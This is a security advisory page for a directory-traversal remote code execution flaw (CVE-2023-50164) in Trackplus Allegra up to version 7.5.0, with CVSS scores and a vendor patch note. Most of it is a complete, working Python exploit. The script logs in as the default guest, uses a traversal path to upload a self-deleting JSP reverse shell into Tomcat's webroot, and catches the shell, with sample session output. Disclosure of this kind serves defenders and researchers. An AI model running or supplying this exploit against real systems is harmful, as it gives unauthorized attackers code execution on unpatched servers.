Lucene search

K
srcinciteSteven Seeley of Source InciteSRC-2024-0001
HistoryNov 08, 2023 - 12:00 a.m.

SRC-2024-0001 : Trackplus Allegra Service Desk Module UploadHelper upload Directory Traversal Remote Code Execution Vulnerability

2023-11-0800:00:00
Steven Seeley of Source Incite
srcincite.io
31
trackplus
allegra
vulnerability
remote code execution
directory traversal
authentication
update.

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.093 Low

EPSS

Percentile

94.7%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Trackplus Allegra. Even though authentication is required, guest account registration is enabled by default.

The specific flaw exists within the struts core dependency. An attacker can leverage this vulnerability to trigger a directory traversal which can result in the execution of arbitrary code in the context of the application.

Affected Vendors:

Trackplus

Affected Products:

Allegra <= 7.5.0

Vendor Response:

Trackplus has issued an update to correct this vulnerability. More details can be found at: <https://www.trackplus.com/en/service/release-notes-reader/7-5-1-release-notes-2.html&gt;

#!/usr/bin/env python3
"""
Trackplus Allegra Service Desk Module UploadHelper upload Directory Traversal Remote Code Execution Vulnerability
Version: <= 7.5.0, bug was patched in 7.5.1
Vendor Advisory: https://www.trackplus.com/en/service/release-notes-reader/7-5-1-release-notes-2.html

# Summary

An authenticated guest attacker can execute arbitrary code by exploiting CVE-2023-50164.

# Notes

Even though authentication is required, an attacker can register a guest account by default on the target system. If that is not enough, there are several auth bypasses and default accounts enabled.

# Example

```
steven@DESKTOP-DHOMH1S:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.18.194 guest:trackplus 172.22.196.48

steven@DESKTOP-DHOMH1S:~$ ./poc.py 192.168.18.194 guest:trackplus 172.22.196.48
(+) obtained jsessionid A0149319749F14B6117CF5E1C964FBFF
(+) exploited CVE-2023-50164, uploaded ktnqiecy.jsp
(+) starting handler on port 1234
(+) connection from 172.22.192.1
(+) pop thy shell!
Microsoft Windows [Version 10.0.21996.1]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0>whoami
whoami
nt authority\local service

C:\Program Files\Apache Software Foundation\Tomcat 9.0>
```
"""
import re
import sys
import random
import string
import requests
import socket
from threading import Thread
from telnetlib import Telnet
from colorama import Fore, Style, Back

def get_random_string(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def _get_jsp(ls, lp):
    jsp = f"""<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  // delete itself
  File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
  f.delete();
  class StreamConnector extends Thread
  {{
    InputStream sv;
    OutputStream tp;
    StreamConnector( InputStream sv, OutputStream tp )
    {{
      this.sv = sv;
      this.tp = tp;
    }}
    public void run()
    {{
      BufferedReader za  = null;
      BufferedWriter hjr = null;
      try
      {{
        za  = new BufferedReader( new InputStreamReader( this.sv ) );
        hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
        {{
          hjr.write( buffer, 0, length );
          hjr.flush();
        }}
      }} catch( Exception e ){{}}
      try
      {{
        if( za != null )
          za.close();
        if( hjr != null )
          hjr.close();
      }} catch( Exception e ){{}}
    }}
  }}
  try
  {{
    String ShellPath = new String("cmd.exe");
    Socket socket = new Socket("{ls}", {lp});
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  }} catch( Exception e ) {{}}
%>"""
    return jsp

def login(target, usr, pwd):
    r = requests.get(f"http://{target}/allegra/logon!restLogin.action", allow_redirects=False, params={
        "j_username" : usr,
        "j_password" : pwd
    })
    assert "Set-Cookie" in r.headers, "(-) login failed, no cookie!"
    m = re.search("^JSESSIONID=(.{32})", r.headers['set-cookie'])
    assert m, "(-) login failed, check credentials!"
    return m.group(1)

def upload(t, h, p, sid):
    uri = f"http://{t}/allegra/excelUpload.action"
    s = f"{get_random_string(8)}.jsp"
    r = requests.post(uri, params={
        "uploadFileFileName": f"../../../../Program Files/Apache Software Foundation/Tomcat 9.0/webapps/ROOT/{s}",
    }, files={
        'UploadFile': ("junk.txt", _get_jsp(h, p), 'text/si')
    }, cookies={
        "JSESSIONID" : sid
    }, allow_redirects=False)
    assert r.status_code == 302, "(-) upload failed"
    return s

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.RED + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    if len(sys.argv) != 4:
        print(f"(+) usage: {sys.argv[0]}")
        print(f"(+) eg: {sys.argv[0]} 192.168.18.194 guest:trackplus 172.22.196.48")
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    assert ":" in c, "(-) username and password not formatted correctly!"
    h = sys.argv[3]
    p = 1234
    if ":" in sys.argv[3]:
        p = int(sys.argv[3].split(":")[1])
        h = sys.argv[3].split(":")[0]
    # default guest account is guest/trackplus but an attacker can register their own anyway
    sid = login(t, c.split(":")[0], c.split(":")[1])
    print(f"(+) obtained jsessionid {sid}")
    s = upload(t, h, p, sid)
    print(f"(+) exploited CVE-2023-50164, uploaded {s}")
    handlerthr = Thread(target=handler, args=[p])
    handlerthr.start()
    requests.get(f"http://{t}/{s}")

if __name__ == '__main__':
    main()

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.093 Low

EPSS

Percentile

94.7%